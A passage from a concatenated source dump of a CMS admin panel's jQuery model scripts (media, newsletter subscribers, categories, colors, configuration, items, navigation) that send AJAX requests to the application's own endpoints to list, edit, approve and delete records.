        self.media_id = 0;
    };

    this.getInf = function (id) {
        if (id == undefined || id < 0)
            return;
        if (self.media_id != 0) {
            self.close_info(self.media_id);
        }
        self.media_id = id;
        $("#media_detail_hold_" + id).show();
        $.post(gate, {m: 'media', a: 'info', type: 'media', id: id, hide_add: media.hide_add_to_item, hide_actions: media.hide_actions}, function (data) {
            handle.render($('#media_detail_hold_' + id), data);
            $("a#media_info_" + id).css("cursor", "pointer").click(function (e) {
                e.preventDefault();
                handle.close_info(id);
            });
        }
        );
        //this.render( $('#media_detail_hold_'+id) , this.msg.loading );
    };

    this.getRand = function () {
        return Math.random(99999999);
    };
    this.show_all = function (type) {
        this.type = type;
        this.all = 1;
        getMediaDetailList();
    };
    this.save_cancel = function (type) {
        $('#edit_title_hold').hide(this.speed);
    };

    this.admin_view = function (cat_id) {
        if (cat_id == undefined || cat_id < 0)
            return;
        this.init(0, cat_id);
    };

    this.get_page = function (page) {
        if (page == undefined || page < 0)
            return;
        this.page = page;
        this.getPagination();
    };
    
    var getPagination = function () {
        all = 0;
        var pagination_hold = $('.media_pagination');
        //this.render(pagination_hold, this.msg.loading);
        var obj = {
            page: page,
            type: type,
            item_id: item_id,
            _token: token
        };
        $.post(gate + 'media/getMediaPagination', obj, function (data) {
            token = data.token;
            render(pagination_hold, data.pagination);
            getMediaDetailList();
        }, "json");
    };

    this.init = function (page, p_item_id, category_id) {
        // console.log(page + ' ' + item_id + ' ' + category_id);
        token = Conf.token;
        $("#edit_title_hold").hide();
        if (typeof page !== "undefined") {
            this.page = page;
        }
        if (typeof category_id !== "undefined") {
            self.type = category_id;
            type = category_id;
        }
        if (typeof p_item_id !== "undefined") {
            self.item_id = p_item_id;
            item_id = p_item_id;
        }
        getPagination();
    };

    var list = function () {
        getMediaDetailList();
    };
    
    var getMediaDetailList = function () {
        var hold = media.detail_list_hold;
        var obj = {
            all: all,
            page: page,
            category_id: type,
            reorder: reorder,
            admin: admin,
            item_id: item_id,
            list_view: list_view,
            _token: token
        };
        $.post(gate + 'media/getMediaDetailList', obj, function (data) {
            token = data.token;
            render($('#media-list'), data.content);
            attach_detail_list_action();
        }, "json");
    };
    
    var attach_detail_list_action = function () {
        $('.media-listing a[data-action=edit]').on('click', function (e) {
            e.preventDefault();
        });
        
        $('.media-listing a[data-action=delete]').on('click', remove);
        
        if ($('.thumb_render').length > 0) {
            $.each($('.thumb_render'), function () {
                var id = $(this).attr("id").split('_')[1];
                $('img', this).unbind("click").bind("click", function () {
                    media_getInf(id);
                });
                $('ul > li.img_shown', this).unbind("click").bind("click", function () {
                    media_make_hidden(id);
                });
                $('ul > li.img_hidden', this).unbind("click").bind("click", function () {
                    media_make_visible(id);
                });
                $('ul > li.img_denied', this).unbind("click").bind("click", function () {
                    media_refuse(id);
                });
                $('ul > li.img_approved', this).unbind("click").bind("click", function () {
                    media_approve(id);
                });
                $('ul > li.img_edit', this).unbind("click").bind("click", function () {
                    media_edit_title(id);
                });
            }
            );
        }
        // reorder
        /*
        $("#sort_wrap").sortable({
            forcePlaceholderSize: true,
            stop: function (event, ui) {
                new_list = $(this).sortable('toArray');
                $.post(gate + '&action=reorder', {item_id: handle.item_id, category_id: handle.type, act: "reorder", reorder_listing: new_list.join(',').replace(/page_subitem_item_/gi, '')},
                function (o) {
                    if (o.state) {
                        //log(o.result_message, 2);
                    }
                }, "json");
            }
        });
        */
    };
    
    /**
     * delete an item
     * @todo make script check for clones and existense in documents
     * @param id
     * @return void
     */
    var remove = function (e) {
        e.preventDefault();
        var id = $(this).attr('data-id');
        if (confirm(msg.confirm)) {
            $.post(gate + 'media/remove', {id: id, _token: token}, function (data) {
                if (data.state) {
                    list();
                    
                    //$('#' + controller + '_out').show(speed).text(msg.deleted);
                    //$('#single_' + controller + '_hold').empty();
                    //$("#media_list_hold #item_" + id).remove();
                }
            }, "json");
        }
    };
    
    //sort update
    this.sortUpdate = function ()
    {
        if (this.item_id == 0) {
            return;
        }
        var dragEls = $('#media_list_hold > ul.sortable_list li');
        var items = [];
        var unique = {};
        jQuery.each(dragEls, function () {
            var id = $(this).attr('id').split('_')[1];
            if (unique[ id ] == undefined) {
                unique[ id ] = 1;
                items.push(id);
            }
        });
        items = items.join("_");
        alert(items);
        //$.post(gate+'&act=update_media_order', {item_id:this.item_id, items: items});
    };
    //edit title
    this.edit_title = function (id)
    {
        if (id == undefined)
            return;
        if (media_id != 0) {
            this.close_info(media_id);
        }

        image_id = id;
        $.post(this.gate + '&act=json_get_info', {id: id}, function (reply) {
            for (var i in o = conf.lang_list.split(",")) {
                $('#edit_title_hold_' + id + '_title_' + o[i]).val(reply.info.title[o[i]]);
            }
            $("#media_edit_title_hold_" + id).show();

            //submit
            $("#edit_title_" + id + "_form").submit(function (e) {
                e.preventDefault();
                handle.save_title();
            }
            );
            //cancel
            $("#edit_title_hold_cancel_" + id).bind("click", function (e) {
                e.preventDefault();
                $("#media_edit_title_hold_" + id).hide();
                //handle.reset_edit_title_form();
            }
            );
            $("#close_title_button_" + id).css("cursor", "pointer").click(function (e) {
                e.preventDefault();
                $("#media_edit_title_hold_" + id).hide();
            });
            //tabs
            Tabs.init('normal');
        }, "json");
    };
    //edit title
    this.save_title = function () {
        var obj = {id: image_id};
        for (var i in o = conf.lang_list.split(",")) {
            obj['title_' + o[i] ] = $("#edit_title_hold_" + image_id + "_title_" + o[i]).val();
        }
        $.post(gate + '&act=edit_title', obj, function (data) {
            if (data.status) {
                handle.reset_edit_title_form();
                handle.getPagination();
            }
            ;
            handle.reset_state();
        },
                "json"
                );
    };

    this.reset_state = function () {
        $('#' + this.controller + '_out').text('');
    };

    this.show_convert = function () {
        $('#convert_media').show(this.speed);
    };

    this.hide_convert = function () {
        $('#convert_media').hide(this.speed);
    };

    this.convert_media = function ()
    {
        var obj = {
            mode: this.convert_mode,
            item_id: this.media_id
        };
        switch (this.convert_mode) {
            case 1:
                obj.width = $('input#video_width').val();
                obj.height = $('input#video_height').val();
                obj.fps = $('input#video_fps').val();
                break;
            case 2:
                $.each(
                        $('input[name=custom_dim]'),
                        function ()
                        {
                            if ($(this).attr("checked")) {
                                obj.size = $(this).val();
                            }
                        }
                );
                obj.fps = $('input#video_fps_1').val();
                break;
            default:
                break;
        }
        ;
        $.post(
                conf.base_url + conf.lang + '/ajax/admin/' + this.controller + '/convert',
                obj,
                function (reply)
                {
                    //console.log(reply);
                },
                "json"
                );
    };
    /**
     * set the convert mode
     * @param mode string
     * @return
     */
    this.set_convert_mode = function (mode) {
        this.convert_mode = mode;
    };
    this.approve_current = function () {
        this.approve(this.image_id);
    }
    this.approve = function (id)
    {
        $.post(
                conf.base_url + conf.lang + '/ajax/admin/' + this.controller + '/approve',
                {id: id},
        function (reply)
        {
            if (Boolean(reply)) {
                $('#media_out').show(handle.speed).text(msg.approved);
                $('#single_media_hold').removeClass("media_refused").addClass("media_approved");
                handle.getMediaDetailList();
            }
        }
        );
    };
    this.refuse_current = function () {
        this.refuse(this.image_id);
    }
    this.refuse = function (id)
    {
        $.post(
                conf.base_url + conf.lang + '/ajax/admin/' + this.controller + '/refuse',
                {id: id},
        function (reply)
        {
            if (Boolean(reply)) {
                $('#media_out').show(handle.speed).text(msg.refused);
                $('#single_media_hold').removeClass("media_approved").addClass("media_refused");
                handle.getMediaDetailList();
            }
        }
        );
    };
    this.init_sortable = function ()
    {
        /*
         * 
         var sortable_conf = {
         update:function(ui, event)
         {
         handle.sortUpdate();
         },
         revert: true
         };
         if ($('.sortable_list').children().length() > 0 ) {
         $('.sortable_list').sortable(sortable_conf);
         }
         console.log( $('.sortable_list').children().length() );
         */
    };
    this.add_to_item = function (id)
    {
        if (this.item_id != 0) {
            $.post(
                    conf.base_url + conf.lang + '/admin/' + this.controller + '/add_to_item',
                    {id: id, item_id: this.item_id},
            function (reply)
            {
                if (Boolean(reply)) {
                    $('#media_out').text('');
                    $('#media_out').show(handle.speed).text(msg.attached);
                    //$('#single_media_hold').empty();
                    //media.getPagination();
                    //media.getList();
                }
            }
            );
        }
    };
    this.reset_view_panel = function () {
        $.each($('.list_view > div > a'), function () {
            $(this).removeClass("active");
        }
        );
    };

    this.set_active_class = function (view)
    {
        this.reset_view_panel();
        $('div.list_view > div.' + view + ' > a').addClass("active");
    };
    this.set_view = function (view)
    {
        this.set_active_class(view);
        this.list_view = view;
        this.getMediaDetailList();
    };
    this.set_visibility = function (id, visibility)
    {
        $.post(
                conf.full_url + 'admin/' + this.controller + '/set_visibility',
                {id: id, visibility: visibility},
        function ()
        {
            handle.getMediaDetailList();
        }
        );
    };
    this.attach_add = function (id) {
    };
    this.attach_remove = function (id) {
    };
    this.close_info_box = function ()
    {
        $('#media_info').hide();
    };

    this.getCategoryList = function () {
        $.post(
                conf.full_url + 'admin/multimedia/category/get_category_list',
                null,
                function (data) {
                    $('#category_list_hold').html(data.content);
                    Tabs.select(0);
                    Tabs.disable(1);
                    Tabs.disable(2);
                },
                "json"
                );
    };

    this.addCategory = function () {
        this.tooltip(0);
        Tabs.selectOnly(2);
        $.post(
                conf.full_url + 'admin/multimedia/category/get_category_add_form',
                null,
                function (data) {
                    $("#category_new_hold").html(data.content);
                    handle.assignCategoryAddAction();
                },
                "json"
                );
    }
    this.assignCategoryAddAction = function () {
        $("form#category_add_form")
                .submit(function (e) {
                    e.preventDefault();
                    handle.saveCategoryAdd();
                });

        $("button#category_add_cancel")
                .bind("click", function () {
                    $("form#category_add_form").unbind("submit");
                    $("button#category_add_cancel").unbind("click");
                    $("#category_new_hold").empty();
                    Tabs.selectOnly(0);
                    handle.tooltip(1);
                });
    }
    this.editCategory = function (id) {
        if (id == undefined || id < 0)
            return;
        this.tooltip(0);
        this.category_id = id;
        Tabs.selectOnly(1);
        $.post(
                conf.full_url + 'admin/multimedia/category/get',
                {id: id},
        function (data) {
            $('#category_edit_hold').html(data.content);
            SubTabs.init();
            handle.attachCategoryEditAction();
        },
                "json"
                );
    };

    this.removeCategory = function (id)
    {
        if (id == undefined || id < 0)
            return;
        if (confirm(msg.confirm)) {
            $.post(
                    conf.full_url + 'admin/multimedia/category/remove',
                    {id: id},
            function (o) {
                if (o.state) {
                    handle.log(msg.category.remove_success, 2);
                    handle.getCategoryList();
                } else {
                    handle.log(o.err.join("
"), 1); } }, "json" ); } } this.reset_category_add_form = function () { for (var i = 0; i < conf.lang_list.split(',').length; i++) { $('input[name=' + conf.lang_list.split(',')[i] + '_title]').val(''); } $('input[name=directory]').val(''); }; this.saveCategoryEdit = function () { var obj = { id: this.category_id, directory: $("input[name=directory]").val() }; for (var i = 0; i < conf.lang_list.split(',').length; i++) { var code = conf.lang_list.split(',')[i]; obj['title_' + code] = $('input[name=title_' + code + ']').val(); } $.post( conf.full_url + 'admin/multimedia/category/edit', obj, function (data) { if (data.state) { handle.log(msg.category.edit_success, 2); } else { } }, "json" ); } this.saveCategoryAdd = function () { var obj = { id: this.category_id, directory: $("input[name=directory]").val() }; for (var i = 0; i < conf.lang_list.split(',').length; i++) { var code = conf.lang_list.split(',')[i]; obj['title_' + code] = $('input[name=title_' + code + ']').val(); } $.post( conf.full_url + 'admin/multimedia/category/add', obj, function (data) { if (data.state) { handle.log(msg.category.add_success, 2); for (var i in data.err) $("p#" + i + "_err").text(''); } else { for (var i in data.err) $("p#" + i + "_err").text(data.err[i]); } }, "json" ); } this.attachCategoryEditAction = function () { $("form#category_edit_form").submit(function (e) { e.preventDefault(); handle.saveCategoryEdit(); } ); $("button#category_edit_cancel") .unbind("click") .bind("click", function () { handle.tooltip(1); $("div#category_edit_hold").empty(); handle.category_id = 0; Tabs.select(0); } ); }; this.attachActions = function () { $("a#category_reload, a#category_new_tab").css("cursor", "pointer"); $("a#category_reload").bind("click", function () { handle.getCategoryList(); }); $("a#category_new_tab").bind("click", function () { handle.addCategory(); } ); /* $('button#media_category_edit_cancel') .unbind("click") .bind("click", function(){ } ); $('button#media_category_add_cancel') .unbind("click") .bind("click", function(){ handle.reset_category_add_form(); Tabs.select(0); } ); */ }; //reset edit title form this.reset_edit_title_form = function () { $("#edit_title_form").unbind("submit"); $("#media_edit_title_cancel").unbind("click"); //new $('#edit_title_hold').hide(handle.speed); for (var i in o = conf.lang_list.split(",")) { $('#edit_title_hold_title_' + o[i]).val(""); } $('#show_state').attr("checked", ""); }; this.category_init = function () { this.attachActions(); this.getCategoryList(); }; } ; var media = new MediaModel(); MediaModel = null; function media_getInf(id) { media.getInf(id); } ; function media_edit_title(id) { media.edit_title(id); } ; function media_save_title() { media.save_title(); } ; function media_show_all(p) { media.show_all(p); } ; function media_save_cancel() { media.save_cancel(); } ; function media_init() { if (arguments.length == 2) { media.init(arguments[0], arguments[1]); } else if (arguments.lenght == 1) { media.init(arguments[0]); } else { media.init(); } } ; function media_refuse(id) { media.refuse(id); } function media_approve(id) { media.approve(id); } function media_show_convert() { media.show_convert(); } ; function media_hide_convert() { media.hide_convert(); } ; function media_convert_media() { media.convert_media(); } ; function media_set_convert_mode(mode) { media.set_convert_mode(mode); } ; function media_init_sortable() { media.init_sortable(); } ; function media_init_draggable() { media.init_draggable(); } ; function media_add_to_item(id) { media.add_to_item(id); } ; function media_set_view(view) { media.set_view(view); } ; function media_approve_current() { media.approve_current(); } ; function media_make_visible(id) { media.set_visibility(id, 0); } ; function media_close_info() { media.close_info_box(); } ; function media_category_remove(id) { media.category_delete(id); } ; function media_category_add() { media.category_add(); } ; function media_category_save() { media.category_save(); } ; function media_category_edit(id) { media.category_edit(id); } ; /* MVC */ function media_make_hidden(id) { media.set_visibility(id, 1); } ; function media_attach_add(id) { media.attach_add(id); } ; function media_attach_remove(id) { media.attach_remove(id); } ; ================================================ FILE: src/public/assets/admin/js/model/NewsletterSubscribers.js ================================================ function NewsletterSubscribersModel() { var token = Conf.token; var id; var lang = { validation: { required: "Required" }, msg: { confirm: "Are you sure?" } }; var controller = "NewsletterSubscribers"; this.speed = 500; this.current_item = ''; this.edit_hold = $('#' + controller + '_edit_hold'); this.page = 0; var gate = Conf.gate; // public state handler var log = function (msg, s) { // alert(msg); // state_obj.log(controller + "_out", msg, s); }; var tooltip = function (state) { $('#page_tooltip').css('display', state ? 'block' : 'none'); }; var list = function () { $.post(gate + controller + '/list', {_token: token}, function (data) { token = data.token; $('#' + controller + '-list').empty().html(data.content); $('#' + controller + '-pagination').empty().html(data.pagination); $('#' + controller + '-list a[data-action=edit]').on('click', edit); $('#' + controller + '-list a[data-action=remove]').on('click', remove); /* $("#slide-list .main_drag_container").unbind('click').sortable({ items: '.main_drag', handle: '.s_button_move', axis: 'y', forcePlaceholderSize: true, stop: function (event, ui) { list = $(this).sortable('toArray'); $.post(gate, {m: "slide", a: "ord", list: list.join(',').replace(/slide_item_/gi, '')}, function (o) { if (o.state) { // log(o.msg, 2); } }, "json"); } });*/ }, "json"); }; var cancel = function (e) { $("#" + controller + "-wrap").empty(); list(); }; var edit = function (e) { var id = Number(e.type === "click" ? $(this).attr('data-id') : e); $.post(gate + controller + '/get', {id: id, _token: token}, function (data) { $("#" + controller + "-wrap").html(data.content).foundation(); $("#" + controller + "-edit-form").on('submit', save); $("#" + controller + "-edit-form button[data-action=cancel]").on('click', cancel); }, "json"); $("#" + controller + "-menu-wrap").hide(); }; /** * * @param {type} e * @returns {undefined} */ var save = function (e) { e.preventDefault(); var obj = {_token: token}; var o = $(this).serializeArray(); for (var i in o) { obj[o[i].name] = o[i].value; } $.post(gate + controller + "/save", obj, function () { list(); }, "json"); }; var remove = function (e) { id = Number(e.type === "click" ? $(this).attr('data-id') : e); if (confirm(lang.msg.confirm)) { $.post(gate + controller + "/remove", {id: id, _token: token}, function (data) { token = data.token; if (data.state) { // log(data.msg, 2); list(); } }, "json"); } }; var activate = function (id) { $.post(gate + controller + "/activate", {id: id}, function (o) { list(); }, "json"); }; var deactivate = function (id) { if (typeof id === "undefined" || id < 0) return; $.post(gate, {id: id}, function (o) { list(); }, "json"); }; var add = function (o) { $.post(gate + controller + '/create', {_token: token}, function (data) { token = data.token; edit(data.id); }, "json"); }; var attachDefaultAction = function () { $('#page_reload').css('cursor', 'pointer').click(function () { list(this.key); }); }; $("#" + controller + "list").on("click", list); $("a[data-action='create']").on("click", add); list(); } var NewsletterSubscribersObj = new NewsletterSubscribersModel(); ================================================ FILE: src/public/assets/admin/js/model/category.js ================================================ function CategoryModel() { var token = Conf.token; var id; var lang = { validation: { required: "Required" }, msg: { confirm: "Are you sure?" } }; var controller = "category"; this.speed = 500; this.current_item = ''; this.edit_hold = $('#' + controller + '_edit_hold'); this.page = 0; var gate = Conf.gate; // public state handler var log = function (msg, s) { alert(msg); // state_obj.log(controller + "_out", msg, s); }; var tooltip = function (state) { $('#page_tooltip').css('display', state ? 'block' : 'none'); }; var list = function () { $.post(gate + controller + '/list', {_token: token}, function (data) { token = data.token; $('#' + controller + '-list').empty().html(data.content); $('#' + controller + '-pagination').empty().html(data.pagination); $('#' + controller + '-list a[data-action=edit]').on('click', edit); $('#' + controller + '-list a[data-action=remove]').on('click', remove); /* $("#slide-list .main_drag_container").unbind('click').sortable({ items: '.main_drag', handle: '.s_button_move', axis: 'y', forcePlaceholderSize: true, stop: function (event, ui) { list = $(this).sortable('toArray'); $.post(gate, {m: "slide", a: "ord", list: list.join(',').replace(/slide_item_/gi, '')}, function (o) { if (o.state) { // log(o.msg, 2); } }, "json"); } });*/ }, "json"); }; var cancel = function (e) { $("#" + controller + "-wrap").empty(); list(); }; var edit = function (e) { var id = Number(e.type === "click" ? $(this).attr('data-id') : e); $.post(gate + controller + '/get', {id: id, _token: token}, function (data) { $("#" + controller + "-wrap").html(data.content).foundation(); CKEDITOR.replaceAll('ckeditor'); $("#" + controller + "-edit-form").on('submit', save); $("#" + controller + "-edit-form button[data-action=cancel]").on('click', cancel); }, "json"); $("#" + controller + "-menu-wrap").hide(); }; /** * * @param {type} e * @returns {undefined} */ var save = function (e) { e.preventDefault(); updateCKEditor(); var obj = {_token: token}; var o = $(this).serializeArray(); for (var i in o) { obj[o[i].name] = o[i].value; } $.post(gate + controller + "/save", obj, function () { list(); }, "json"); }; var remove = function (e) { id = Number(e.type === "click" ? $(this).attr('data-id') : e); if (confirm(lang.msg.confirm)) { $.post(gate + controller + "/remove", {id: id, _token: token}, function (data) { token = data.token; if (data.state) { // log(data.msg, 2); list(); } }, "json"); } }; var activate = function (id) { $.post(gate + controller + "/activate", {id: id}, function (o) { list(); }, "json"); }; var deactivate = function (id) { if (typeof id === "undefined" || id < 0) return; $.post(gate, {a: "deactivate", m: "page", id: id}, function (o) { list(); }, "json"); }; var add = function (o) { $.post(gate + controller + '/create', {_token: token}, function (data) { token = data.token; edit(data.id); }, "json"); }; var attachDefaultAction = function () { $('#page_reload').css('cursor', 'pointer').click(function () { list(this.key); }); }; /** * init language model, get index list, get list and attach actions * @return void */ list(); //live $("#" + controller + "list").on("click", list); $("a[data-action='create']").on("click", add); $('#slide_add_cancel').on("click", function () { cleanTinyMCE(); $("#slide-list").empty(); list(); } ); $('#slide_edit_cancel, #slide_close').on("click", function () { cleanTinyMCE(); $("#slide_wrap").empty(); list(); $("#slide-menu-wrap").show(); }); $("#slide_list .s_button_edit").on("click", edit); } var category_obj = new CategoryModel(); ================================================ FILE: src/public/assets/admin/js/model/color.js ================================================ function ColorModel() { var handle = this; var self = this; var token = Conf.token; var id; var lang = { validation: { required: "Required" }, msg: { confirm: "Are you sure?" } }; var controller = "color"; this.speed = 500; this.current_item = ''; this.edit_hold = $('#' + controller + '_edit_hold'); this.page = 0; var gate = Conf.gate; // public state handler var log = function (msg, s) { alert(msg); // state_obj.log(controller + "_out", msg, s); }; var cancel = function (e) { $("#" + controller + "-wrap").empty(); list(); }; var tooltip = function (state) { $('#page_tooltip').css('display', state ? 'block' : 'none'); }; var list = function () { $.post(gate + controller + '/list', {_token: token}, function (data) { token = data.token; $('#' + controller + '-list').empty().html(data.content); $('#' + controller + '-pagination').empty().html(data.pagination); $('#' + controller + '-list a[data-action=edit]').on('click', edit); $('#' + controller + '-list a[data-action=remove]').on('click', remove); }, "json"); }; var edit = function (e) { var id = Number(e.type === "click" ? $(this).attr('data-id') : e); $.post(gate + controller + '/get', {id: id, _token: token}, function (data) { $("#" + controller + "-wrap").html(data.content).foundation(); $("#" + controller + "-edit-form").on('submit', save); $("#" + controller + "-edit-form button[data-action=cancel]").on('click', cancel); }, "json"); $("#" + controller + "-menu-wrap").hide(); }; /** * * @param {type} e * @returns {undefined} */ var save = function (e) { e.preventDefault(); var obj = {_token: token}; var o = $(this).serializeArray(); for (var i in o) { obj[o[i].name] = o[i].value; } $.post(gate + controller + "/save", obj, function (o) { list(); }, "json"); }; var remove = function (e) { id = Number(e.type === "click" ? $(this).attr('data-id') : e); if (confirm(lang.msg.confirm)) { $.post(gate + controller + "/remove", {id: id, a: "remove", m: "slide", _token: token}, function (data) { token = data.token; if (data.state) { log(data.msg, 2); list(); } }, "json"); } }; var activate = function (id) { $.post(gate + controller + "/activate", {a: "activate", m: "page", id: id}, function (o) { list(); }, "json"); }; var deactivate = function (id) { if (typeof id === "undefined" || id < 0) return; $.post(gate, {a: "deactivate", m: "page", id: id}, function (o) { list(); }, "json"); }; var add = function (o) { // cleanTinyMCE(); // $(".s_module_settings_buttons").hide(); $.post(gate + controller + '/create', {a: "create", m: "slide", _token: token}, function (data) { token = data.token; edit(data.id); }, "json"); }; var attachDefaultAction = function () { $('#page_reload').css('cursor', 'pointer').click(function () { list(this.key); }); }; /** * init language model, get index list, get list and attach actions * @return void */ list(); $("a[data-action='create']").on("click", add); } var color_obj = new ColorModel(); ================================================ FILE: src/public/assets/admin/js/model/conf.js ================================================ function ConfModel() { var token = Conf.token; var id; var lang = { validation: { required: "Required" }, msg: { confirm: "Are you sure?" } }; var controller = "conf"; this.speed = 500; this.current_item = ''; this.edit_hold = $('#' + controller + '_edit_hold'); this.page = 0; var gate = Conf.gate; // public state handler var log = function (msg, s) { alert(msg); // state_obj.log(controller + "_out", msg, s); }; var cancel = function (e) { $("#" + controller + "-wrap").empty(); list(); }; var tooltip = function (state) { $('#page_tooltip').css('display', state ? 'block' : 'none'); }; var list = function () { $.post(gate + controller + '/list', {_token: token}, function (data) { token = data.token; $('#' + controller + '-list').empty().html(data.content); $('#' + controller + '-pagination').empty().html(data.pagination); $('#' + controller + '-list a[data-action=edit]').on('click', edit); $('#' + controller + '-list a[data-action=remove]').on('click', remove); }, "json"); }; var edit = function (e) { var id = Number(e.type === "click" ? $(this).attr('data-id') : e); $.post(gate + controller + '/get', {id: id, _token: token}, function (data) { $("#" + controller + "-wrap").html(data.content); $(document).foundation(); $("#" + controller + "-edit-form").on('submit', save); $("#" + controller + "-edit-form button[data-action=cancel]").on('click', cancel); }, "json"); $("#" + controller + "-menu-wrap").hide(); }; /** * * @param {type} e * @returns {undefined} */ var save = function (e) { e.preventDefault(); var obj = {_token: token}; var o = $(this).serializeArray(); for (var i in o) { obj[o[i].name] = o[i].value; } $.post(gate + controller + "/save", obj, function (o) { list(); }, "json"); }; var remove = function (e) { id = Number(e.type === "click" ? $(this).attr('data-id') : e); if (confirm(lang.msg.confirm)) { $.post(gate + controller + "/remove", {id: id, _token: token}, function (data) { token = data.token; if (data.state) { log(data.msg, 2); list(); } }, "json"); } }; var activate = function (id) { $.post(gate + controller + "/activate", {a: "activate", m: "page", id: id}, function (o) { list(); }, "json"); }; var deactivate = function (id) { if (typeof id === "undefined" || id < 0) return; $.post(gate, {a: "deactivate", m: "page", id: id}, function (o) { list(); }, "json"); }; var add = function (o) { // cleanTinyMCE(); // $(".s_module_settings_buttons").hide(); $.post(gate + controller + '/create', {_token: token}, function (data) { token = data.token; edit(data.id); }, "json"); }; var attachDefaultAction = function () { $('#page_reload').css('cursor', 'pointer').click(function () { list(this.key); }); }; /** * init language model, get index list, get list and attach actions * @return void */ list(); $("a[data-action='create']").on("click", add); } var conf_obj = new ConfModel(); ================================================ FILE: src/public/assets/admin/js/model/item.js ================================================ function ItemModel() { var token = Conf.token; var id; var lang = { validation: { required: "Required" }, msg: { confirm: "Are you sure?" } }; var controller = "item"; this.speed = 500; this.current_item = ''; this.edit_hold = $('#' + controller + '_edit_hold'); this.page = 0; var gate = Conf.gate; var log = function (msg, s) { alert(msg); // state_obj.log(controller + "_out", msg, s); }; var tooltip = function (state) { $('#page_tooltip').css('display', state ? 'block' : 'none'); }; var list = function () { $.post(gate + controller + '/list', {_token: token}, function (data) { token = data.token; $('#' + controller + '-list').empty().html(data.content); $('#' + controller + '-pagination').empty().html(data.pagination); $('#' + controller + '-list a[data-action=edit]').on('click', edit); $('#' + controller + '-list a[data-action=remove]').on('click', remove); /* $("#slide-list .main_drag_container").unbind('click').sortable({ items: '.main_drag', handle: '.s_button_move', axis: 'y', forcePlaceholderSize: true, stop: function (event, ui) { list = $(this).sortable('toArray'); $.post(gate, {m: "slide", a: "ord", list: list.join(',').replace(/slide_item_/gi, '')}, function (o) { if (o.state) { // log(o.msg, 2); } }, "json"); } });*/ }, "json"); }; var listDate = function () { $.post(gate + controller + '/date/list', {id: id, _token: token}, function (data) { token = data.token; $("#" + controller + "-edit-form div[role=datelist]").empty().html(data.content); $("#" + controller + "-edit-form div[role=datelist] button[data-action=date-remove]").on('click', dateRemove); $("#" + controller + "-edit-form div[role=datelist] button[data-action=date-add]").on('click', dateCreate); }, "json"); }; var cancel = function (e) { $("#" + controller + "-wrap").empty(); list(); }; var edit = function (e) { var id = Number(e.type === "click" ? $(this).attr('data-id') : e); $.post(gate + controller + '/get', {id: id, _token: token}, function (data) { token = data.token; $("#" + controller + "-wrap").html(data.content).foundation(); CKEDITOR.replaceAll('ckeditor'); $("#" + controller + "-edit-form").on('submit', save); $("#" + controller + "-edit-form button[data-action=cancel]").on('click', cancel); $("#" + controller + "-edit-form button[data-action=date-remove]").on('click', dateRemove); $("#" + controller + "-edit-form button[data-action=date-add]").on('click', dateCreate); }, "json"); $("#" + controller + "-menu-wrap").hide(); }; /** * * @param {type} e * @returns {undefined} */ var save = function (e) { e.preventDefault(); updateCKEditor(); var obj = {_token: token}; var o = $(this).serializeArray(); for (var i in o) { obj[o[i].name] = o[i].value; } $.post(gate + controller + "/save", obj, function () { list(); }, "json"); }; var remove = function (e) { id = Number(e.type === "click" ? $(this).attr('data-id') : e); if (confirm(lang.msg.confirm)) { $.post(gate + controller + "/remove", {id: id, _token: token}, function (data) { token = data.token; if (data.state) { // log(data.msg, 2); list(); } }, "json"); } }; var dateRemove = function (e) { id = Number(e.type === "click" ? $(this).attr('data-id') : e); if (confirm(lang.msg.confirm)) { $.post(gate + controller + "/date/remove", {id: id, _token: token}, function (data) { token = data.token; if (data.state) { $('div[data-date-id=' + id + ']').remove(); // log(data.msg, 2); list(); // listDate(); } }, "json"); } }; var dateCreate = function (e) { id = Number(e.type === "click" ? $(this).attr('data-id') : e); var date = $('input[name=date-add]').val(); if (true) { $.post(gate + controller + "/date/create", {id: id, date: date, _token: token}, function (data) { token = data.token; if (data.state) { // log(data.msg, 2); list(); listDate(); } }, "json"); } }; var activate = function (id) { $.post(gate + controller + "/activate", {id: id}, function (o) { list(); }, "json"); }; var deactivate = function (id) { if (typeof id === "undefined" || id < 0) return; $.post(gate, {a: "deactivate", m: "page", id: id}, function (o) { list(); }, "json"); }; var add = function (o) { $.post(gate + controller + '/create', {_token: token}, function (data) { token = data.token; edit(data.id); }, "json"); }; var attachDefaultAction = function () { $('#page_reload').css('cursor', 'pointer').click(function () { list(this.key); }); }; /** * init language model, get index list, get list and attach actions * @return void */ list(); $("#" + controller + "list").on("click", list); $("a[data-action='create']").on("click", add); $('#slide_add_cancel').on("click", function () { cleanTinyMCE(); $("#slide-list").empty(); list(); } ); $('#slide_edit_cancel, #slide_close').on("click", function () { cleanTinyMCE(); $("#slide_wrap").empty(); list(); $("#slide-menu-wrap").show(); }); $("#slide_list .s_button_edit").on("click", edit); } var item_obj = new ItemModel(); ================================================ FILE: src/public/assets/admin/js/model/navigation.js ================================================ function NavigationModel() { var handle = this; var self = this; var token = Conf.token; var id; var lang = { validation: { required: "Required" }, msg: { confirm: "Are you sure?" } }; var controller = "navigation"; this.speed = 500; this.current_item = ''; this.edit_hold = $('#' + controller + '_edit_hold'); this.page = 0; var gate = Conf.gate; // public state handler var log = function (msg, s) { alert(msg); // state_obj.log(controller + "_out", msg, s); }; var cancel = function (e) { $("#" + controller + "-wrap").empty(); list(); }; var tooltip = function (state) { $('#page_tooltip').css('display', state ? 'block' : 'none'); }; var list = function () { $.post(gate + controller + '/list', {_token: token}, function (data) { token = data.token; $('#' + controller + '-list').empty().html(data.content); $('#' + controller + '-pagination').empty().html(data.pagination); $('#' + controller + '-list a[data-action=edit]').on('click', edit); $('#' + controller + '-list a[data-action=remove]').on('click', remove); }, "json"); }; var edit = function (e) { var id = Number(e.type === "click" ? $(this).attr('data-id') : e); // cleanTinyMCE(); $.post(gate + controller + '/get', {id: id, _token: token}, function (data) { $("#" + controller + "-wrap").html(data.content).foundation(); // tinyMCE_obj.add(controller, 6, id); // Tabs.init('normal'); $("#" + controller + "-edit-form").on('submit', save); $("#" + controller + "-edit-form button[data-action=cancel]").on('click', cancel); }, "json"); $("#" + controller + "-menu-wrap").hide(); }; /** * * @param {type} e * @returns {undefined} */ var save = function (e) { e.preventDefault(); var obj = {_token: token}; var o = $(this).serializeArray(); for (var i in o) { obj[o[i].name] = o[i].value; } $.post(gate + controller + "/save", obj, function (o) { list(); }, "json"); }; var remove = function (e) { id = Number(e.type === "click" ? $(this).attr('data-id') : e); if (confirm(lang.msg.confirm)) { $.post(gate + controller + "/remove", {id: id, a: "remove", m: "slide", _token: token}, function (data) { token = data.token; if (data.state) { log(data.msg, 2); list(); } }, "json"); } }; var activate = function (id) { 